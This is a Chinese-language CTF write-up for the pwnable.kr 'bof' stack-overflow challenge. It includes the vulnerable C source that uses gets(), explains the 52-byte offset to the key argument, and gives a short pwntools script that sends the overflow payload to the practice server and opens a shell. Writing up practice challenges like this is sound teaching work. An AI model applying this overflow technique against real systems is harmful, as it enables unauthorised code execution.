pwnable从入门到放弃，第三题。
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
很简单的一道栈溢出题目。
依然先读代码：
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return ;
}
在gets处有一个明显的栈溢出，溢出了overflowme变量。
目的是覆盖key变量，导致在if判断时，获得执行bash的权限。
用ida看看栈分配的结构吧
看到数组overflowme的起始地址在ebp+s(-2c),key参数的其实地址在ebp+arg0（+8），中间就差了44+8 = 52个字节。
因此使用52个‘A’覆盖之后再加上4字节的0xcafebabe，就可以了。
再次膜拜一发pwntools。
# -*- coding:utf-8 -*-
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+pwn.p32(0xcafebabe))
r.interactive()
之后就可以获得一个shell了。
ps：话说明天开始要做项目了 = =紧脏。